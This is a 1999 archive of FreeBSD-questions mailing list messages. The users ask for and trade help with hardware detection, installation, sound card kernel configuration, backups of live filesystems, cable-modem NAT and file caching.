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From owner-freebsd-questions  Thu Mar 25 20: 7:30 1999
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Date: Thu, 25 Mar 1999 23:09:47 +0000
From: Rob <drifter@stratos.net>
To: Jim Mock <jim@corp.au.triax.com>
Cc: questions@FreeBSD.ORG
Subject: Re: fetch -A(?)
Message-ID: <19990325230946.A4641@stratos.net>
References: <19990324234014.A66989@stratos.net> <19990325154529.A76127@corp.au.triax.com>
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On Thu, Mar 25, 1999 at 03:45:29PM +1100, Jim Mock wrote:
> On Wed, 24 Mar 1999 at 23:40:14 +0000, Rob wrote:
> > Hi,
> > Just wondering -- has anybody tried to keep up to date with the
> > ports tree under 3.1?  It seems that the ports collection has this
> > problem where /usr/ports/Mk/bsd.port.mk uses a command called
> > `fetch -A'.  But, `fetch -A' doesn't work on a default 3.1 system --
> > at least not the RELEASE I downloaded :)
> >
> > So, is there some sort of configeration value I have to set, or
> > should I grab an updated fetch?  Editing that file and eliminating
> > `-A' is kind of a pain.
> >
> 
> Go to http://www.freebsd.org/ports/ and install the 3.1 upgrade kit.
> That'll fix it.

     Thanks for the tip -- guess running a current ports is just as
dangerous as a current system :)

     -Rob


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From owner-freebsd-questions  Thu Mar 25 20:14:16 1999
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Hello.

Still trying to get my two ed (ne2000) cards recognised.

I originally did a full install...But looks like stuff is missing.

My second question.

I noticed multiple entriews under the cpu. What is a AMDK63D-300Mhz equivalent
to ?

What options is it safe to rem out (#).

Regards...Martin




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From owner-freebsd-questions  Thu Mar 25 20:17:20 1999
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I forgot. I'm using the just released walnut creek 4 cdrom  FreeBsd 3.1 - March
1999

Martin




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From owner-freebsd-questions  Thu Mar 25 20:19:29 1999
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Hello.

Still trying to get my two ed (ne2000) cards recognised.

I originally did a full install...But looks like stuff is missing.

My second question.

I noticed multiple entriews under the cpu. What is a AMDK63D-300Mhz equivalent
to ?

What options is it safe to rem out (#).

Regards...Martin

walnut creek 4 cdrom FreeBsd 3.1




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From owner-freebsd-questions  Thu Mar 25 20:19:42 1999
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Reply-To: "Kay Clabaugh" <kaycee@fwi.com>
From: "Kay Clabaugh" <kaycee@fwi.com>
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Subject: ftp install
Date: Thu, 25 Mar 1999 23:13:44 -0500
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This is a multi-part message in MIME format.

------=_NextPart_000_0004_01BE7715.21276100
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	charset="iso-8859-1"
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Is there a way for me to install FreeBSD by connecting to the internet =
and having it download the files to install as it needs them?  If not =
where can I get information about what files I need to download =
manually?

Thanks

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<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Is there a way for me to install =
FreeBSD by=20
connecting to the internet and having it download the files to install =
as it=20
needs them?&nbsp; If not where can I get information about what files I =
need to=20
download manually?</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Thanks</FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Thu Mar 25 20:25:21 1999
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	(envelope-from mikegoe@ibm.net)
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From: "Michael G." <mikegoe@ibm.net>
To: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>
Date: Fri, 26 Mar 1999 11:30:09 -0500
Reply-To: "Michael G." <mikegoe@ibm.net>
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This is exactly how the ftp install works using a boot
disk.  You can get the disk image for this install and the
directions at www.freebsd.org

Michael G .

--Original Message Text---
From: Kay Clabaugh
Date: Thu, 25 Mar 1999 23:13:44 -0500

Is there a way for me to install FreeBSD by connecting to
the internet and having it download the files to install as
it needs them?  If not where can I get information about
what files I need to download manually?
 
Thanks





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From owner-freebsd-questions  Thu Mar 25 21:11: 3 1999
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Date: Thu, 25 Mar 1999 21:10:42 -0800 (PST)
From: Evgeny Roubinchtein <eroubinc@u.washington.edu>
To: freebsd-questions@FreeBSD.ORG
Subject: "dump" of a "live" file system?
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Is it possible to "dump" a "live" file system?  (i.e. dump a file system
when the machine is in multi-user mode, with the filesystem that is being
dumped mounted read-write). Is it safe/recommended?

It seems like this wouldn't be a great idea, since on a "live" file system
mounted read-write there may be pending writes, and it isn't clear how
dump would cope with that.  Is it better/ok/safe to first remount the
filesystem read-only?

I think I am a bit confused on this. 

Please include my address in replys.

Thank you

--
Evgeny Roubinchtein, eroubinc@u.washington.edu
...................
BW: Branch on Whim




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From owner-freebsd-questions  Thu Mar 25 21:16:10 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from harpo.ma.adfa.edu.au (harpo.ma.adfa.edu.au [131.236.48.11])
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	for <freebsd-questions@FreeBSD.ORG>; Thu, 25 Mar 1999 21:16:03 -0800 (PST)
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	Fri, 26 Mar 1999 16:15:43 +1100 (EDT)
Date: Fri, 26 Mar 1999 16:15:43 +1100 (EDT)
From: Tian-Xiong Lu <tian@harpo.ma.adfa.edu.au>
Message-Id: <199903260515.QAA02291@harpo.ma.adfa.edu.au>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: boot image can't find my network card
Cc: tian@harpo.ma.adfa.edu.au
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I solved my problem.

The problem was the boot image detected a wrong 
I/O port number. 
(it was reported as 0x280, but in fact it is 0x300).
By fixing this, all have gone through.

Tian


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From owner-freebsd-questions  Thu Mar 25 21:21:22 1999
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          25 Mar 99 22:53 EST
From: Matthew Emmerton <memmerto@uwaterloo.ca>
To: <freebsd-questions@freebsd.org>
Subject: Problems with Quantum Hard Drive
Date: Thu, 25 Mar 1999 23:01:46 -0500
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I've been trying to figure out whether one of my Quantum drives is bad or
if it's a BIOS problem.
The machine is a NEC Ready 9012 (P90).
The BIOS detects the drive and enters CHS information properly.

Windows 95 cannot boot from floppy (freezes after checking HDD)
Windows 98 cannot boot from floppy (freezes after checking HDD)
Windows NT can be installed from floppy and boot from HDD, using FAT and
NTFS partitions (limited to 2 and 4 GB
respectively).  It doesn't report any driver errors or exhibit drive
problems.

FreeBSD 3.1 can be installed from floppy and use the entire drive.
However, it provides the below information.

Mar 26 09:24:36 myname /kernel: FreeBSD 3.1-RELEASE #0: Mon Feb 15
11:08:08 GMT 1999
Mar 26 09:24:36 myname /kernel:
jkh@usw3.freebsd.org:/usr/src/sys/compile/GENERIC
...
Mar 26 09:24:36 myname /kernel: wdc0 at 0x1f0-0x1f7 irq 14 on isa
Mar 26 09:24:36 myname /kernel: wdc0: unit 0 (wd0): <QUANTUM Bigfoot
TX8.0AT>
Mar 26 09:24:37 myname /kernel: wd0: 7665MB (15698592 sectors), 15574
cyls, 16 heads, 63 S/T, 512 B/S
Mar 26 09:24:37 myname /kernel: wdc1 at 0x170-0x177 irq 15 on isa
Mar 26 09:24:37 myname /kernel: wdc1: unit 0 (atapi): <NEC CD-ROM
DRIVE:273/4.21>, removable, iordy
Mar 26 09:24:37 myname /kernel: atapi1.0: unknown phase
Mar 26 09:24:37 myname /kernel: atapi1.0: invalid command phase,
ireason=0x2, status=58<ready,opdone,drq>, error=0
Mar 26 09:24:37 myname /kernel: atapi1.0: invalid command phase,
ireason=0xd8, status=d8<busy,ready,opdone,drq>, error=d8<mchg>
Mar 26 09:24:37 myname /kernel: atapi1.0: controller not ready for cmd
Mar 26 09:24:37 myname /kernel: atapi1.0: controller not ready for cmd
...
Mar 26 09:26:23 myname /kernel: wd0: interrupt timeout (status
50<rdy,seekdone> error 0)
Mar 26 09:26:23 myname /kernel: wd0: wdtimeout() DMA status 4
Mar 26 09:26:23 myname /kernel: wd0: wdunwedge failed (status
d0<busy,rdy,seekdone> error d0<badblk,uncorr,no_id>)
Mar 26 09:26:23 myname /kernel: wd0s1a: wdstart: timeout waiting to give
command reading fsbn 39568 of 39568-39631 (wd0s1 bn 39568; cn 2 tn 116 sn
4) (status d0<busy,rdy,seekdone> error d0<badblk,uncorr,no_id>)
Mar 26 09:26:23 myname /kernel: wd0: wdunwedge failed (status
d0<busy,rdy,seekdone> error d0<badblk,uncorr,no_id>)
Mar 26 09:26:23 myname /kernel: wd0s1a: wdstart: timeout waiting to give
command reading fsbn 39568 of 39568-39631 (wd0s1 bn 39568; cn 2 tn 116 sn
4) (status d0<busy,rdy,seekdone> error d0<badblk,uncorr,no_id>)
Mar 26 09:26:23 myname /kernel: wd0: wdunwedge failed (status
d0<busy,rdy,seekdone> error d0<badblk,uncorr,no_id>)
Mar 26 09:26:23 myname /kernel: wd0s1a: wdstart: timeout waiting to give
command reading fsbn 39568 of 39568-39631 (wd0s1 bn 39568; cn 2 tn 116 sn
4) (status d0<busy,rdy,seekdone> error d0<badblk,uncorr,no_id>)



I did a fsck a few times, and each time when it was finished it reported
"DRIVE STILL DIRTY, RUN FSCK AGAIN."

I did a bad144, and this is what eventually cropped up after about 30
mins.

Mar 26 10:26:12 myname /kernel: fd0c: hard error writing fsbn 1 of 1-3
(ST0 40<abnrml> ST1 2<write_protect> ST2 0 cyl 0 hd 0 sec 2)
Mar 26 10:26:12 myname /kernel: fd0c: hard error writing fsbn 10 of 10-12
(ST0 40<abnrml> ST1 2<write_protect> ST2 0 cyl 0 hd 0 sec 11)
Mar 26 10:26:12 myname /kernel: fd0c: hard error writing fsbn 19 (ST0
40<abnrml> ST1 2<write_protect> ST2 0 cyl 0 hd 1 sec 2)
Mar 26 10:26:27 myname /kernel: fd0c: hard error writing fsbn 1013 (ST0
40<abnrml> ST1 2<write_protect> ST2 0 cyl 28 hd 0 sec 6)
Mar 26 10:26:34 myname last message repeated 28 times


Any ideas?  Quantum doesn't have any microcode updates for the drives (as
far as I can see).

--
Matthew Emmerton      || P: +1 (800) 217-5409 (Canada)
GSI Computer Services || F: +1 (519) 335-6584



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From owner-freebsd-questions  Thu Mar 25 21:27:13 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Steve Howe <groggy@iname.com>
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To: freebsd-questions <questions@freebsd.org>
Subject: efficiency
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i think it is generally agreed that FBSD is the fastest UN*X that will
run on an Intel based PC.  what is the best Xwindow that will run on FBSD?
best in terms of small size, efficiency and speed.

Xfree?
Metro?
Xig?

also, why is it that many packages (apache, squid, pine to name a few)
have doubled in size since their last release?

this i kinda scary for those of us than continue to run on older machines
like 386's and 486'swith 8 or 16M RAM ...

thank you.



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From owner-freebsd-questions  Thu Mar 25 21:58:53 1999
Delivered-To: freebsd-questions@freebsd.org
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	(envelope-from cjc)
From: "Crist J. Clark" <cjc@cc942873-a.ewndsr1.nj.home.com>
Message-Id: <199903260558.AAA17962@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: Hot Swappable Drives in FreeBSD
In-Reply-To: <19990325213741.29714.qmail@random.ti.cz> from "pgl@ti.cz" at "Mar 25, 99 10:37:41 pm"
To: pgl@ti.cz
Date: Fri, 26 Mar 1999 00:58:37 -0500 (EST)
Cc: questions@FreeBSD.ORG
Reply-To: cjclark@home.com
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pgl@ti.cz wrote,

> I've been asked to evaluate an HP Netserver LC3 by my company, and I
> want to put FreeBSD on it.
> 
> I can install it fine off of the floppies, but when I reboot, I get
> "Read error" on the screen - not even the bit where you can choose a
> kernel. I'm guessing this is something to do with the boot loader not
> being installed properly.

Sounds like a good guess.

> The drive it's using is a 9Gb SCSI supplied
> by HP, and it's hot-swappable, ie I'm supposed to be able to take it
> out and replace it whenever I like and the machine won't fail. There's
> only one drive in there at the moment. When installing, it gets
> recognised as da0.

OK, the drive is recognized. If it in place while the boot starts and
you don't yank at any point, I don't think that the hot-swappable
feature would have anything directly to do with the problem.
 
> Am I doing something wrong? I've been trying to get round this for
> ages, and I can't find anything online about it (maybe I'm looking
> in the wrong places?). Does anyone have any experience with this, or
> can anyone tell me what to do? Am I just missing something obvious?
> Do I need to have a fixed drive too boot off?

The drive in question _is_ the primary or secondary boot device as
specified in the BIOS? Is the disk DOS-style partitioned or
"dangerously dedicated?"

I have had trouble with BIOS settings on machines where the third boot
device is not found (I set the primary to be floppy and secondary to
be CDROM when installing FreeBSD, then things won't boot of the newly
setup disk until I put it back in front of the CDROM). I have also had
two machines that did not seem to like dangerously dedicated disks. In
both cases, I have blamed the BIOS and just worked around it.
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Thu Mar 25 22: 9:51 1999
Delivered-To: freebsd-questions@freebsd.org
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	(envelope-from cjc)
From: "Crist J. Clark" <cjc@cc942873-a.ewndsr1.nj.home.com>
Message-Id: <199903260609.BAA17991@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: "dump" of a "live" file system?
In-Reply-To: <Pine.A41.4.10.9903252056090.24046-100000@dante30.u.washington.edu> from Evgeny Roubinchtein at "Mar 25, 99 09:10:42 pm"
To: eroubinc@u.washington.edu (Evgeny Roubinchtein)
Date: Fri, 26 Mar 1999 01:09:29 -0500 (EST)
Cc: freebsd-questions@FreeBSD.ORG
Reply-To: cjclark@home.com
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Evgeny Roubinchtein wrote,
> 
> Is it possible to "dump" a "live" file system?  (i.e. dump a file system
> when the machine is in multi-user mode, with the filesystem that is being
> dumped mounted read-write). Is it safe/recommended?

It is pretty much assumed most backups are done from live (rw)
disks. I always use dump(1) on all of my different UNIX machines (some
with spiffy wrappers around it, though). I have gotten warning
messages about files changing size duriung a dump, but I have yet to
have it cause any real problem.

> It seems like this wouldn't be a great idea, since on a "live" file system
> mounted read-write there may be pending writes, and it isn't clear how
> dump would cope with that.  Is it better/ok/safe to first remount the
> filesystem read-only?

This is simply not an option for any production machine. Any backup
program has to be ready for this. It is not necessarily possible to
take a 'snap-shot' of a disk. Your idea of unmounting the disk would
create lots of problems on its own. How do you get users to stop
writing or trying to write? When you 'umount -f' the filesystem, what
might that break? etc.

Of course, people tend to do backups during periods of relative
inactivity in teh first place. This is often done since the process
taxes system resources, but less user disk usage is an equally if not
more significant reason not to.
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Thu Mar 25 22:19:57 1999
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Date: Fri, 26 Mar 1999 00:19:35 -0600 (CST)
From: Scott Madley <scott@pompano.pcola.gulf.net>
To: freebsd-questions@freebsd.org
Subject: SB AWE 64 .... help...
Message-ID: <Pine.BSI.3.95.990326000920.17885B-100000@pompano.pcola.gulf.net>
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Here's my problem...

1. FreeBSD 2.2.8 stable
2. Sound Blaster AWE 64 value (isa)

I can't get past this error message no matter what configuration I try.
Here's the error message

loading kernel
ioconf.o Undefined symbol `op_driver' referenced from data segment.
*** Error code 1 ***

I've tried configuring it according to the FreeBSD handbook, and tried
configing it for pnp according to Luigi's website... could it be an IRQ
and DMA conflict or just something simple I'm missing??? Could it be the
ver of FreeBSD...... I've checked the archives and nothing....

so if someone would be as kind to help me out or send me a sample kernel
config for the AWE64 I would greatly appreciate it...


Thanks.....
Scott



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From owner-freebsd-questions  Thu Mar 25 22:26:57 1999
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Date: Fri, 26 Mar 1999 08:26:30 +0200 (SAT)
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To: Scott Madley <scott@pompano.pcola.gulf.net>
Cc: freebsd-questions@freebsd.org
Subject: Re: SB AWE 64 .... help...
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Hi

This is what I have. It took me a while to get mine working aswell. Kernel
options:

controller      pnp0
controller      snd0
device          sb0     at isa? port 0x220 irq 5 drq 1 vector sbintr
device          sbxvi0  at isa? drq 5
device          sbmidi0 at isa? port 0x330
device          awe0    at isa? port 0x620
device          opl0    at isa? port 0x388


I also needed to add this:

[root@sticky] /boot# less kernel.conf 
pnp 1 0 os enable port0 0x220 irq0 5 drq0 1 drq1 5 port1 0x330 port2 0x388
pnp 1 1 os enable port0 0x201
pnp 1 2 os enable port0 0x620 port1 0xa20 port2 0xe20

[root@sticky] /boot# less boot.conf 
load kernel
load -t userconfig_script /boot/kernel.conf

I'm running 3.1-STABLE.

Regards

--Rob

> loading kernel
> ioconf.o Undefined symbol `op_driver' referenced from data segment.
> *** Error code 1 ***




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From owner-freebsd-questions  Thu Mar 25 22:53: 5 1999
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To: Evgeny Roubinchtein <eroubinc@u.washington.edu>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: "dump" of a "live" file system? 
In-reply-to: Your message of "Thu, 25 Mar 1999 21:10:42 PST."
             <Pine.A41.4.10.9903252056090.24046-100000@dante30.u.washington.edu> 
From: David Greenman <dg@root.com>
Reply-To: dg@root.com
Date: Thu, 25 Mar 1999 22:51:25 -0800
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>Is it possible to "dump" a "live" file system?  (i.e. dump a file system
>when the machine is in multi-user mode, with the filesystem that is being
>dumped mounted read-write). Is it safe/recommended?
>
>It seems like this wouldn't be a great idea, since on a "live" file system
>mounted read-write there may be pending writes, and it isn't clear how
>dump would cope with that.  Is it better/ok/safe to first remount the
>filesystem read-only?
>
>I think I am a bit confused on this. 
>
>Please include my address in replys.

   You're right: dumping a live filesystem is a problem and may result in a
dump that isn't usable. One solution is 'filesystem snapshots', which is
something that Kirk McKusick has been working on. In an efficient way it
creates a read-only, static snapshot of a filesystem state that you can
then do a dump of. Pretty slick. It has other advantages too, primarily
when combined with softupdates it lets the system do the fsck in the
background after a system crash, thus dramatically reducing the system
downtime.

-DG

David Greenman
Co-founder/Principal Architect, The FreeBSD Project


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From owner-freebsd-questions  Thu Mar 25 23: 3:17 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Fri, 26 Mar 1999 01:57:40 -0500
From: Omar Thameen <omar@clifford.inch.com>
To: freebsd-questions@freebsd.org
Subject: Temporary account in Hawaii?
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Hi all,

Can anyone recommend an ISP in Hawaii (perhaps a freebsd shop) where I
could get a temporary dialup account for my one week's stay?  I don't
know how the long distance works there, but I'll be on Big Island and
Maui and will want to make local calls.

Thanks,
Omar


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From owner-freebsd-questions  Thu Mar 25 23: 6:39 1999
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(sorry for my _very_ (IMHO :) bad 'english)

hello,

I've got a FreeBSD 2.2.8 system installed on my home p200. 
I often use modem to dialup to i-net provider and explore the NET.
I've created some accounts of my friends, and they telnet
to my host when I'm on-line. What should I do to allow
other users not to read my mounted disk drives, such as
my ms-dos partition? There I've got some data, which I don't
wanna make world readable. I tried to try group in /etc/group
called 'localdisk' and chown mounted dir /main and /kieszen
(name of my disk :) to group 'localdisk' (I want only me and
my family to read data from ms-dos partitions), but I've got
as following:

zunpc:zuntum:/# tail -1 /etc/group
localdisk:*:500:zuntum,root,mama,assiut

zunpc:zuntum:/# chown :localdisk main
chown: main: Invalid argument

I tried to execute exactly commands I showed above to chown
other dir - it worked, but it doesn't work to 'disk mount dir'

Pliz help :)

zuntum - unix lame
zuntum@lagoon.freebsd.org.pl	(albo FreeBSD running server)
pktom@powernet.pl		(only Linux)


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From owner-freebsd-questions  Thu Mar 25 23:28:45 1999
Delivered-To: freebsd-questions@freebsd.org
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Message-ID: <19990325232814.A13501@ethereal.net>
Date: Thu, 25 Mar 1999 23:28:14 -0800
From: Jamie Norwood <mistwolf@ethereal.net>
To: freebsd-questions@FreeBSD.ORG
Subject: O'reilly's Networking Bookshelf
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I recently picked up this fine set of books from O'reilly, and
was wondering if anyone had gotten their little java program
to run? I installed the JDK port, and then ran the 'runme.sh' script,
and get:

11:23pm Thu Mar 25 1999 on ttyp1                                                diarmadhi:/home/mistwolf/work> sh run_me.sh 
Detecting OS_VER ... FreeBSD
Can't find shared library "libX11.so.6.1" (libawt.so)
java.lang.UnsatisfiedLinkError: no awt in shared library path
        at java.lang.Runtime.loadLibrary(Runtime.java)
        at java.lang.System.loadLibrary(System.java)
        at 
        at java.awt.Toolkit.getDefaultToolkit(Toolkit.java:394)
        at java.awt.Font.initializeFont(Font.java:106)
        at java.awt.Font.<init>(Font.java:121)
        at itm.nr.serve.$141.<init>(Unknown Source)
        at itm.nr.serve.$160.<init>(Unknown Source)
        at itm.nr.serve.NRServer.main(Unknown Source)
Exception in thread "main"                                                      

Any clues?

Jamie

-- 
-----BEGIN GEEK CODE BLOCK-----
Version: 3.1
GCS d- s+:+ a--(?) C++++ UB++++ P+ L--(++) E-- W++(--) N++ O?
K w(---) O?>+ M?>+ V PS+ PE+ Y+ PGP->++ t+(*) 5+++ X++ R++ tv+
b+ DI++++ D++ G e>+ h--- r+++ y+++**
------END GEEK CODE BLOCK------



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From owner-freebsd-questions  Thu Mar 25 23:32: 5 1999
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From: "Dave Walton" <walton@emusic.com>
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On 25 Mar 99, at 22:20, Dave Hummel wrote:

> My research lead me to the conclusion that sendmail
> would do the trick, but that I was out of luck as far as a free imap/pop
> server was concerned. A look at the cyrus code convinced me that
> integrating ldap was fairly trivial. Wrapping the whole thing in SSL and a
> spiffy interface would pretty much complete the project, and I could
> transfer all my users in short order. 

> From what I know of IMP (which isn't that much), it may well be
> the key to making a nifty interface for both end users and
> administrators.  

It could indeed.  I know next to nothing about LDAP, so I have no 
idea how you want to use it in this system.  However, it's quite 
likely that you can put it together without any need of hacking 
LDAP and SSL into sendmail and cyrus.  IMP is written in PHP, 
which is a web scripting language that (among other things) 
speaks IMAP and LDAP.  So...  You let apache's mod_ssl take 
care of the SSL, and IMP/PHP provides the pretty face and 
interacts with the unmodified IMAP and LDAP servers.  The MTA 
(sendmail/qmail/whatever) is only involved in a small way, and 
would need little attention beyond configuring it to deliver to cyrus.

We have a FreeBSD (keeping it on topic here) server currently set 
up with IMP acting as a mod_ssl-protected interface to cyrus and 
qmail, which I believe is a big chunk of what you are looking for.  
From there, it's just a matter of figuring out how you can stir LDAP 
into the mix.  [Disclaimer:  I am mostly clueless about the 
capabilities of LDAP and Messaging Server, so I could be missing 
an important part of the big picture.  But it'll cost you nothing to 
give it a try.]

Dave


----------------------------------------------------------------------
Dave Walton                                                           
Webmaster, Postmaster                                           Emusic
walton@emusic.com                                http://www.emusic.com
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From owner-freebsd-questions  Thu Mar 25 23:32:57 1999
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To: Nick <nick@namodn.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Cable modem: Firewall & Ip Aliasing 
In-Reply-To: Your message of "Thu, 25 Mar 1999 19:29:41 GMT."
             <Pine.BSF.3.96.990325190353.15727A-100000@namodn.com> 
From: bmah@CA.Sandia.GOV (Bruce A. Mah)
Reply-To: bmah@CA.Sandia.GOV
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If memory serves me right, Nick wrote:

> I'm trying to set up a LAN which is connected to the internet via cable
> modem. I am doing this by setting up one computer (lets call it wolf) as a
> firewall/gateway  for my workstation (lets cann it yeaben) 

OK.  I have a setup like this at home, except that my "inside" machines are 
dual boot Win95/FreeBSD instead of SuSE.

> Ok so im setting wolf up as the FIREWALL & want to masquerade the internal
> lan with a net address of 10.x  here is my layout
> 
> _FreeBSD_ 3.0				      _SuSE Linux_ 6.0
> [-WOLF-] A.B.C.D (outside IP address)	      [-YEABEN-] 10.2.0.2
>   | ed1						 | eth0
>   |						 |
>   |						 |
>    \_________________________[-HUB-]____________/
> 				|
> 				|
> 			  [-CABLE MODEM-]
> 				|
> 				|
> 			       /
> 			     /
> 			[-GATEWAY-] A.B.C.1
> 			    |
> 			[-DNS-] A.1.64.33

Nice ASCII art.  It's missing a few details such as what kind of a cable modem 
you're using (and the provider might be useful too), but I'm going to assume 
it's like the cable network I use, which is TCI@Home (no snickers please).  If 
this were my system, I'd say it doesn't work because you shouldn't have the 
hub plugged into the cable modem.  On the cable modem I use, there should be 
exactly one computer.  My home network looks like this:

(cable network)<-------[cable modem]-----[gateway]
                                             |
                                         [  hub  ]
                                        /         \
                                   [machine1]  [machine2]

The gateway (analogous to wolf) is a FreeBSD machine with two Ethernet cards, 
and runs ipfw and natd.  The interface towards the cable modem has the 
"outside IP address", and the one towards the hub has a private IP address (as 
do the single Ethernet interfaces on machine1 and machine2).

As far as I know, the way you've wired it up will not work because your 
gateway machine needs to have separate "inside" and "outside" network 
interfaces.  I'm not sure how the cable modem would react to being on the same 
Ethernet segment with two (as opposed to one) computers.

I think if you buy another Ethernet card for wolf and wire it up like I drew 
above, it'll make a little more sense, and the answers to most of your other 
questions will fall into place.

Good luck,

Bruce.




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From owner-freebsd-questions  Fri Mar 26  1: 8: 4 1999
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Are there any plans to add DHCP for the ftp install in version 4.0?
Thanks in advance



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From owner-freebsd-questions  Fri Mar 26  1:11:53 1999
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Looked for detail about installing a DSL line with FreeBSD but
was not able to find anything up to date in the FreeBSD Handbook.
The DSL and its modem were very expensive a few years ago.

Pac Bell now offers a DSL with an ADSL modem for $198 to install
and $49 a month thereafter.  I now have one.  It works fine on
the Windows 95 side, and I want to use it on the FreeBSD side.

Can you point me to instructions as to what to do on the UNIX
side to enable this connection?

Thank you.

I registered at the time I bought the 4 CD-ROM set, back in 1997.

Ben

From: Ben Gardiner
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Founder and operator of AIDS Info BBS since July 1985
AIDS:  http://aidsinfobbs.org
Plays:  http://playwrights.org
Books:  http://sibyllineofbooks.com



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From owner-freebsd-questions  Fri Mar 26  1:14:31 1999
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Hello,

I have an opportunity to fetch an ancient Sun386i (don't know in which
state it is)

Is there any chance FreeBSD might run on this machine ? (if I remember,
the Sun386i is not entirely PC-Compatible).

	TIA

	TfH


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From owner-freebsd-questions  Fri Mar 26  1:18:26 1999
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Date: Fri, 26 Mar 1999 14:50:37 +0530 (IST)
From: Prasad Chemburkar <prasad@usa.ltindia.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Video grabber card.
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Hi!
Everyone


Does anyone know how to configure Video grabber card on freeBSD, i am
installing Matrox Meteor card but not able to configure

can anyone help me on this topic




Thanks in advance


prasad






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From owner-freebsd-questions  Fri Mar 26  1:29:50 1999
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Date: Fri, 26 Mar 1999 19:59:23 +1030
From: Greg Lehey <grog@lemis.com>
To: thierry.herbelot@alcatel.fr, questions <questions@FreeBSD.ORG>
Subject: Re: FreeBSD on a Sun386i ?
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On Friday, 26 March 1999 at 10:08:30 +0100, HERBELOT Thierry wrote:
> Hello,
>
> I have an opportunity to fetch an ancient Sun386i (don't know in which
> state it is)
>
> Is there any chance FreeBSD might run on this machine ? (if I remember,
> the Sun386i is not entirely PC-Compatible).

It doesn't run out of the box.  You could do it, but it would involve
a *lot* of work (like writing low-level hardware support code).  You
probably don't want to do that.  You'll probably find that NetBSD or
OpenBSD run on it.

Greg
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From owner-freebsd-questions  Fri Mar 26  2: 5: 3 1999
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Date: Fri, 26 Mar 1999 10:05:22 +0000 (BST)
From: "J. A. Landamore" <jal@mcs.le.ac.uk>
Reply-To: "J. A. Landamore" <jal@mcs.le.ac.uk>
Subject: XFree on Laptops running FreeBSD
To: freebsd-questions@freebsd.org
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This is probably going to the wrong mailing list, but hopefully someone will pick 
it up and may act on it.
Having spent just ove a day trying to get XFree running under FreeBSD2.2.8 on a 
laptop, I was pointed to
<http://www.xfree.org/FAQ/#Laptops>
and hence to 
<http://www.cs.utexas.edu/users/kharker/linux-laptop>
Whilst this is Linux :-( it has an impressive amount of info about setting up 
XFree on laptops.  Perhaps there should be a pointer or link in the FreeBSD FAQ 
to one of these sites to save people the aggravation I had.  e.g.

Q9.12 How do I set up X and FreeBSD on my laptop?

Maybe now just this mail in the searchable mail archive :-)

Regards


John Landamore			| Researchers have already cast much darkness |
Sys. Admin.			| on the subject, and if they continue their  |
				| investigations we shall soon know nothing   |
e-mail:	jal@mcs.le.ac.uk	| at all about it.			      |
				|		- Mark Twain -		      |

Phone: 	+44 (0)116 2523410
Fax: 	+44 (0)116 2523604


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From owner-freebsd-questions  Fri Mar 26  2:29:23 1999
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Date: Fri, 26 Mar 1999 05:28:52 EST
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My computer has Microsoft Windows 98 installed on a FAT32 partition and
whenever I try to install FreeBSD 3.1-stable, it says it couldn't find the
bin, doc, and compatXX directories or any of the other directories I
downloaded from "ftp.freebsd.org". Does Freebsd 3.1-stable support FAT32
partitions?


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From owner-freebsd-questions  Fri Mar 26  4:41:33 1999
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Date: Fri, 26 Mar 1999 13:41:05 +0100
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To: Rich Winkel <rich@chumbly.math.missouri.edu>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Staying behind
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On Thu, 25-Mar-1999 at 14:15:18 -0600, Rich Winkel wrote:
> I've gone through several major releases of freebsd now, and find that
> I still have a number of files lying around from previous versions.
> (like dumplfs, mount_lfs, newlfs in /sbin)
> It would be handy if each major release comes with a list of the
> files from the previous release which have been phased out.
> How do other people deal with this?

I go into /bin, /sbin, /usr/bin, /usr/sbin and /usr/lib and do
a "ls -lt". Stuff on the bottom gets deleted.

Then I go into /usr and do an "rm -rf share include" and 
than "make installworld". 

The rest is inspected manually and usually there isn't much to
do anymore...

	-Andre


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From owner-freebsd-questions  Fri Mar 26  4:47:36 1999
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Date: Fri, 26 Mar 1999 07:47:23 -0500
From: Graeme Tait <graeme@echidna.com>
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To: freebsd-questions@freebsd.org
Subject: Caching of large files in memory
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I have a moderately busy web server (2.2.7S/Apache - a few hundred thousand hits
a day). It has been running fine with 128MB of memory.

Recently the memory was expanded to 256MB, and about the same time, we started
running a task that scans a large file (about 112MB) on each execution. This
task also requires reading two smaller files of 12 and 20MB. So that's a total
of 144MB, but there's an extra 128MB available, and the system seemed to cache
the smaller files OK with 128MB memory.

At first, it was clear all the files were being cached in memory. In the first
execution after an idle period, the files might be read from disk, but then no
disk activity was evident on repeated executions.

However, after the server had been running about a day, things shifted so that
the large file is evidently being read more-or-less entire from disk every time.
This is true even after repeated, frequent reads of the file. Since the time the
server was rebooted, named has been building a cache from reverse name
resolution (about 8MB now, it will grow bigger yet), but otherwise I'm not aware
of any changes.

Presently top shows

Mem: 90M Active, 46M Inact, 26M Wired, 87M Cache, 8318K Buf, 784K Free


I'm wondering if anything can be done to encourage caching of the large file.

I'm also curious as to why the system seems to read the large file entire,
rather than caching at least some major part of it.


I do have the option of breaking the large file into smaller pieces, the largest
of which would be about 12MB. I'm wondering if this was done, and all the pieces
were accessed frequently, would the system then cache most or all of these files
in memory?


Alternatively, I'd be prepared to expand memory still further, but only if I
could be sure it would result in the files being reliably cached.


--
Graeme Tait - Echidna
graeme@echidna.com



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From owner-freebsd-questions  Fri Mar 26  5:10: 7 1999
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Reply-To: Helen Turner <helent@demon.net>
From: Helen Turner <helent@demon.net>
To: freebsd-questions@freebsd.org
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Subject: Year 2000 compliancy
Date: Fri, 26 Mar 1999 13:09:11 -0000
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I have seen your Year 200 compliancy statement on the internet and would
